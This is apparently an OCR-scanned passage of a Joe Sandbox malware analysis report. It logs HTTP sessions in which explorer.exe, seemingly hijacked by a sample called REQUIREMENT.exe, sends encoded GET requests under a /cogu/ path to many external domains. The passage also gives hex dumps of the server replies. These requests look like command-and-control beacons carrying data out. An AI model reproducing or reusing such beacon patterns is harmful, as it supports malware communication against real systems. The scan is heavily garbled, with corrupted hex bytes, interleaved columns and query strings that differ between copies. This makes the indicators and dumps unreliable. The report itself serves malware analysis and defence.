78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process

198.59.144.16 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=7eaza+Vm8yYemsyz/zzwjWrklc8YiSHoSHX5TNM7allR4urhJrmRG4YV/48q0bSefO77&EVpdF=D6AIWhC
HTTP/1.1

Host: www.centralcontable.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Date: Wed, 13 Oct 2021 13:48:44 GMT

Server: Apache

Content-Security-Policy: upgrade-insecure-requests;

Location: https://www.centralcontable.net/cogu/?E6=7eaza+Vm8yYemsyz/zzwjWrklc8Yi5Ho5HX5TNM7allR4urhJ
rmRG4YV/48q0bSefO77&EVpdF=D6AIWhC

Content-Length: 311

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3¢ 61 20 68 72 65 66 3d 22 68 74 74 70
73 3a 2f 2f 77 77 77 2e 63 65 6e 74 72 61 6¢ 63 6f 6e 74 61 62 6¢ 65 2e 6e 65 74 2f 63 6f 67 75 2f 3f 45 36 3d 37 65 61 7a
61 2b 56 6d 38 79 59 65 6d 73 79 7a 2f 7a 7a 77 6a 57 72 6b 6c 63 38 59 69 35 48 6f 35 48 58 35 54 4e 4d 37 61 6¢ 6¢ 52
34757268 4a 72 6d 52 47 34 59 56 2f 34 38 71 30 62 53 65 66 4f 37 37 26 61 6d 70 3b 45 56 70 64 46 3d 44 36 41 6¢
57 68 43 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="https://www.centralcontable.net/cogu/?E6=7eaza+Vm8
yYemsyz/zzwjWrklc8Yi5Ho5HX5TNM7allR4urhJrmRG4YV/48q0bSefO778&amp;EVpdF=DEAIWhC">here</a>.</p></body>
</html>

Destination IP Destination Port Process

185.73.226.109 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=RrpHjQuOLYHaKA/4jQL7Y SE8ZIpf0+VERMywmZjWIXP7087B5z00XLZv/c2UnXWK/CWX&EVpdF=D
6AIWhC HTTP/1.1

Host: www.mobileiranian2.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Wed, 13 Oct 2021 13:48:49 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

X-Redirect-By: WordPress

Location: https://www.mobileiranian2.com/cogu/?E6=RrpHjQuOLYHaKA/4jQL7Y SE8ZIpf0+VERMywmZjWIXP7087B5z
00XLZv/c2UnXWK/cWX&EVpdF=DEAIWhC

Vary: User-Agent
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Session ID Source IP

17 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6514

15:48:55.404741049 CEST

Oct 13, 2021 6514
15:48:55.515916109 CEST

Session ID Source IP

18 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6515

15:49:00.787650108 CEST

Session ID Source IP

19 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6516

15:49:06.411268950 CEST

Copyright Joe Security LLC 2021

Source Port

49800

Direction

ouT

Source Port

49801

Direction

ouT

Source Port
49802

Direction
ouT

Destination IP Destination Port Process

151.101.192.119 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=AKrVC46g6aUgOUI59QNJifV5z+0jBVKueGdcTrEcNhmNt+uKBfQ1lnRhJazzsjvY BoCEF&EVpdF=D

6AIWhC HTTP/1.1

Host: www.soymilk-design.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

HTTP/1.1 301 Moved Permanently
server: adobe

location: http://soymilk-design.com/cogu/?E6=AKrVC4696aUgOUI59QNJifV5z+0OjBVKueGdcTrEcNhmNt+uKBfQ1nRh

JazzsjvYBoCEF&EVpdF=D6AIWhC
cache-control: s-maxage=31536000
X-trace-id: MJ2XmihojrTHhT/ccEILiuW7me4
X-app-name: Pro2-Renderer
X-xss-protection: 1; mode=block
X-content-type-options: nosniff
Content-Length: 0

Accept-Ranges: bytes

Date: Wed, 13 Oct 2021 13:48:55 GMT
Via: 1.1 varnish

Age: 0

Connection: close

X-Served-By: cache-mxp6949-MXP
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1634132935.407613,VS0,VE104
Vary: Fastly-SSL, X-Use-Renderer

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XU0191KcVQfEEWsMJI9UBYnICa/l+dhdLiWjITAS8DRbwOP6fYUmdo8NYhzdUy3C+FUJf&EVpdF=D

6AIWhC HTTP/1.1

Host: www.domainair.biz
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:

Destination IP  Destination Port Process
204.141.43.204 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=NkcQ30DOYkIGNuUF95ZpkIKht5WOulo+Ok2Me3ITyYaTuJ86BWuzspf8yVeXKwyiufl+B&EVpdF=D

6AIWhC HTTP/1.1

Host: www.nazfoodstuff.com
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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Timestamp

Oct 13, 2021
15:49:06.582165956 CEST

Session ID
2

Timestamp

Session ID
20

Timestamp

Oct 13, 2021
15:49:11.624213934 CEST

Oct 13, 2021
15:49:11.731408119 CEST

kBytes
transferred

6517

Source IP
192.168.11.20

kBytes
transferred

Source IP
192.168.11.20

kBytes

transferred
6522

6522

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49824

Direction

Source Port
49803

Direction
ouT

Data

HTTP/1.1 404

Server: ZGS

Date: Wed, 13 Oct 2021 13:49:06 GMT

Content-Type: text/html

Content-Length: 4647

Connection: close

Set-Cookie: Ocea9df7db=aallb5b9d2a4fd36a1a24567047f52b; Path=/

X-XSS-Protection: 1

Set-Cookie: csrfc=cf50af7f-1f40-477c-9dee-0each66e81ce;path=/;priority=high

Set-Cookie: _zcsr_tmp=cf50af7{-1f40-477c-9dee-0each66e81ce;path=/;SameSite=Strict;priority=high

Pragma: no-cache

Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate

Expires: Thu, 01 Jan 1970 00:00:00 GMT

vary: accept-encoding

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0a 20 20 20 3c 68 65 61 64 3e Oa 20 20 20
2020 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c
20 6e 6f 66 6f 6¢ 6¢ 6f 77 2C 20 6e 6f 61 72 63 68 69 76 65 2¢ 20 6e 6f 73 6e 69 70 70 65 74 22 20 2f 3e 0a 20 20 20 20
2020 3c 74 69 74 6¢ 65 3e 5a 6f 68 6f 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 3c 6¢ 69 6e 6b 20 74 79 70 65 3d 22
746578 74 2f 63 73 73 22 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 77 65 62 66 6f 6e
7473 3f 66 61 6d 69 6¢ 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 36 30 30 22 3e 0a 20 20 20 20 20 20 3c 73 74 79
6¢c 65 3e Oa 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d
69 6¢ 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20
20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 70 7
8 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 70 78 3b 20 Oa 20 20 20 20 20 20 20 20 20
202020 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 35 66 35 66 35 3b 0a 20 20 20 20 20 20 20 20 20 7d Oa
20 20 20 20 20 20 20 20 20 2e 74 6f 70 43 6f 6¢ 6f 72 73 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f
75 6e 64 3a 20 2d 6d 6f 7a 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2¢ 20 23 66 30 34 37 33 64
20 30 25 2¢ 20 23 66 30 34 37 33 64 20 32 35 25 2c 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20
35 30 25 2¢ 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30 30 20
37 3525 2c 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75
6e 64 3a 20 2d 77 65 62 6b 69 74 2d 6¢ 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 6¢ 65 66 74 2c 20 23 66 30 34 37
3364 20 30 25 2c 20 23 66 30 34 37 33 64 20 32 35 25 2¢ 20 23 30 34 39 37 33 35 20 32 35 25 2¢ 20 23 30 34 39 37 33
3520 35 30 25 2c 20 23 30 30 38 36 64 35 20 35 30 25 2c 20 23 30 30 38 36 64 35 20 37 35 25 2¢ 20 23 66 64 63 30 30
302037 3525 2¢ 23 66 64 63 30 30 30 20 31 30 30 25 29 3b 0Oa 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72
6f 75 6e 64 2d 73 69 7a 65 3a 34 35

Data Ascii: <IDOCTYPE html><html> <head> <meta name="robots" content="noindex, nofollow, noarchive, nos
nippet" />  <title>Zoho</title>  <link type="text/css" rel="stylesheet" href="/webfonts?family=Open+Sans:400,600">
<style> body{ font-family:"Open Sans", sans-serif; font-size:11px; margin:opx;

padding:0pXx; background-color:#f5f5f5; } .topColors{ background: -moz-linear-gradient(left,
#f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5 75%, #fdc000 75%,#fdc000 100%);
background: -webkit-linear-gradient(left, #f0473d 0%, #f0473d 25%, #049735 25%, #049735 50%, #0086d5 50%, #0086d5
75%, #fdc000 75%,#fdc000 100%); background-size:45

Destination IP Destination Port Process
172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=TP90dDgalUD062Nc3ik6VEBCj7pU3sm2020GxDUNHqLIP8RyY/BX8xz+WUeumcOFdCH3f&EVpdF=D
B6AIWhC HTTP/1.1

Host: www.cacaolixir.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Oct 2021 13:49:11 GMT

Content-Type: text/html

Content-Length: 275

ETag: "615f9602-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></htm|>
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Session ID Source IP

21 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6523

15:49:17.017303944 CEST

Oct 13, 2021 6524

15:49:17.150295973 CEST

Session ID Source IP

22 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6526

15:49:28.012269974 CEST

Oct 13, 2021 6526

15:49:28.159526110 CEST

Session ID Source IP

23 192.168.11.20
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49804

Direction

ouT

Source Port
49805

Direction
ouT

Source Port

49806

Direction

Destination IP Destination Port Process

66.96.130.148 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=Vt5Qt20mygQqgSIUs1LnTjIm5PAf0+j+U7GfZi7PpDW7/XxLcDx4cEzk7U78MhAa3f93Z&EVpdF=DEAIWhC
HTTP/1.1

Host: www.fishermandm.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:49:17 GMT

Content-Type: text/html

Content-Length: 867

Connection: close

Server: Apache/2

Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT

Accept-Ranges: bytes

Age: 0

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d 0a 0d Oa 20 20 20 20 3c 68 65 61 64
3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46
6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 20 20 20 20 20 20 20 20 3c 73 74 79 6¢ 65 3e 0d Oa 20 20 20 20 20 20 20 20 20
2020 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b
20 7d 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a
2030 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d Oa 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d Oa 20 20 2
02020202020 3c 73637269 7074 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f
61 6a 61 78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c
2f 7363 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 7
66173637269 70 74 22 20 6¢ 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20
2020 202020202076 6172207572 6¢c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e
63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f
6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20
20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d Oa 20 20 20 20 20 20
20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2¢ 20 75 72
6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e
0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61
6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76
69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73
63 72 6f 6¢ 6¢ 69 6e 67 3d 22 6e 6f 22 3e 0d Oa 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73
65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d Oa 0d Oa 20 20 20 20
2020 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d Oa 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <IDOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #
ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//aj
ax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script type="text/javascript" language="JavaS
cript*> var url = ‘http://www.searchvity.com/?dn=" + document.domain + '&pid=9POL6F2H4"; $(do
cument).ready(function() { $(‘#ad_frame’).attr('src’, url); D; </script> </head> <body> <ifra

me id="ad_frame" src="http://www.searchvity.com/* frameborder="0" scrolling="no"> ... browser does not
support iframe’s --> <liframe> </body></html|>

Destination IP  Destination Port Process

216.189.108.75 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=Q5540RkvIutfUkv4jGh7NesFHfEN9TtJOrndmKD218/SIFrfn/DKKL7940R4DTj3bJKH&EVpdF=D6AIWhC
HTTP/1.1

Host: www.tpmionline.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Wed, 13 Oct 2021 21:49:28 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Status: 304

Content-Length: 0

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

199.34.228.191 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred Direction Data
Oct 13, 2021 6527 ouT GET /cogu/?E6=87aM8EhKbioxWIIC6s4JEYCcLDNdjIIEZPCwIIW3J1beA80HN/9mglw4n0mGUY+KwtTo&EVpdF=D
15:49:33.721334934 CEST 6AIWhC HTTP/1.1
Host: www.shopsharpgraphics.com
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
Oct 13, 2021 6528 IN HTTP/1.1 302 Found
15:49:33.913050890 CEST Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, private
Date: Wed, 13 Oct 2021 13:49:33 GMT
Location: https://www.shopsharpgraphics.com/cogu
Set-Cookie: publishedsite-xsrf=eyJpdil6InBxVUZIRDNcL1RDTKhPTEhTZUOzYU1nPTOILCJ2YWx1ZSI6lkpsc1BuUEkzY
W16MjJZYOp5RGINR2IUeINWUVp5QzRKVmIwMHAUNEdiVjVsbk1ZM050Rzh3anE3WFAwe TBNWVhhQURKU
G9uVUszck9FajVvKOMzenJ4cGxSeGVVa3lURFVKMWI0NWJIQUjNXVFZINzhjV2txMEKS5cFVZYVdZZnc5liwibWFjljo
i0GY4ZTdjY mVjMzM2NTc1IMWZkOTdkMDhkZDdIOTMOYmZhNjg3YmJiZDMwY TcxMzNkYWRmY]FiZDk30ODQ
1YzU5ZCJ9; expires=Wed, 27-Oct-2021 13:49:33 GMT; Max-Age=1209600; path=/
Set-Cookie: XSRF-TOKEN=eyJpdil6InpVK3N4WDEzYXhHaTdpbmt1ZINtNIEQPSIsInZhbHVIljoibDZcLOgxdTR
4b3ZHZ2duZFdOUUVRZUK2YzInalY2SEluViwvY3ByeHZO0TVpubklvYnhjbEZIdTZzZWW9CROhodThoRmd1aHJiU3VTY
2I3UWpKeXZiXCIHSVZLQO9rMDdpVFA1N2w4ANNFNSmFaajlSOTB2R2ExdUFybXB6aXZqYWIcLzkyliwibWFiljoiYTh
hOTYWZjZiYWU1OTViZDc2ZDNKNjEzZjQ50WNiZDM2NzhjNGE1ZJAXMGJImYTY0ZmYXxMGZkOGQwOTJIhYjAL1YSJ9;
expires=Wed, 27-Oct-2021 13:49:33 GMT; Max-Age=1209600; path=/
Set-Cookie: PublishedSiteSession=eyJpdil6ImNLVTRLSXI2NkphUjZ5SGFKQ25jRWc9PSIsInZhbHVIljoiVkIXTFBvclB
VWWxIRVdcL1VoSndwRkFFOGpTSFYzNOUzQUg5QUh3U2VsRVVhallsZFV1RVESTFWVRXVOY IpVS3VNMGZ
1WWhsY XpiTW5pRkIrZXdqgNjFgeGI4RTJIrb3NaOEVIYm1tcThY UFpJVOx
Data Raw:
Data Ascii:
Session ID Source IP Source Port Destination IP Destination Port Process
24 192.168.11.20 49807 15.197.150.5 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Oct 13, 2021 6531 ouT GET /cogu/?-Z=5j3dvérhizRPIOMP &E6=0JW80yNTUilblQnhj6MVn32XupSCHJIgGKr7ChJ8acluUK/cVpV73gH60
15:49:51.480106115 CEST M/JKXthPyqu2 HTTP/1.1
Host: www.jkwhitleyphotography.com
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
Oct 13, 2021 6531 IN HTTP/1.1 301 Moved Permanently
15:49:51.659526110 CEST Date: Wed, 13 Oct 2021 13:49:51 GMT
Content-Type: text/html
Content-Length: 166
Connection: close
Location: https://www.jkwhitleyphotography.com/cogu/?-Z=5j3dv6rhizRPIOMP&E6=0JW80yNTUilblQnhj6MVn32X
upSCHJgGKr7ChJ8acluUK/cVpV73gH60OM/IKXthPyqu2
Data Raw: 3¢ 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d
Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1l
></center><hr><center>openresty</center></body></html>
Session ID Source IP Source Port Destination IP Destination Port Process
25 192.168.11.20 49808 198.54.117.211 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Oct 13, 2021 6532 ouT GET /cogu/?E6=S26i6wvHPThQg5EmMN96E/uV1flcokx0gaETcxJTPPIRIBsvCj80OWSBVUObghLZ2zBTNI&-Z=5j3d
15:49:56.865541935 CEST v6rhizRPIOMP HTTP/1.1
Host: www.boliden-ab.com
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
Session ID Source IP Source Port Destination IP Destination Port Process
26 192.168.11.20 49809 142.250.186.179 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
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kBytes
Timestamp transferred

Oct 13, 2021 6533
15:50:02.084647894 CEST

Oct 13, 2021 6533
15:50:02.194884062 CEST

Session ID Source IP

27 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6534

15:50:07.418406010 CEST

Oct 13, 2021 6535
15:50:07.575223923 CEST

Session ID Source IP

28 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6535

15:50:13.118230104 CEST

Oct 13, 2021 6536
15:50:13.298154116 CEST

Session ID Source IP

29 192.168.11.20

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49810

Direction

ouT

Source Port
49811

Direction
ouT

Source Port

49812

Data

GET /cogu/?-Z=5]3dvérhizRPIOMP &E6=nujE8SKobpMEhFJCVnGir4WeRJImwvtVIfZaGtibwOwWMPhuUS2YahDL2
LgFihEH5PYEZ HTTP/1.1

Host: www.jachaljuega.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Content-Type: application/binary

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 13:50:02 GMT

Location: https://www.jachaljuega.com/cogu/?-Z=5j3dv6rhizRPIOMP&E6=nujE8SKobpMEhFJCVnGirdWeRJImwvtVIf
ZaGtibwOwWMPhuUS2YahDL2LgFhEH5PYEZ

Server: ESF

Content-Length: 0

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Connection: close

Destination IP Destination Port Process

75.2.115.196 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=62eHCTnVilbE5q/VnkbvIz9TsuOUnGzf3IBPcleKYkVag+XJUtXLjRsX48ZiFT924q+&-Z=5j3dv6rhizRPI0
MP HTTP/1.1

Host: www.xn--4pvw92bcry.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Date: Wed, 13 Oct 2021 13:50:07 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Server: nginx

Vary: Accept-Encoding

Data Raw: 3¢ 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP  Destination Port Process
47.88.32.85 80 C:\Windows\explorer.exe

Data

GET /cogu/?-Z=5j3dvérhizRPIOMP&E6=xvNBpPJIx0T3V4STjWu+oXBc4W2+zox4LkIxyAqr5fIGYxwgg6ZSnpz45
f2S1431JRker HTTP/1.1

Host: www.ceruleden.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx

Date: Wed, 13 Oct 2021 13:50:13 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
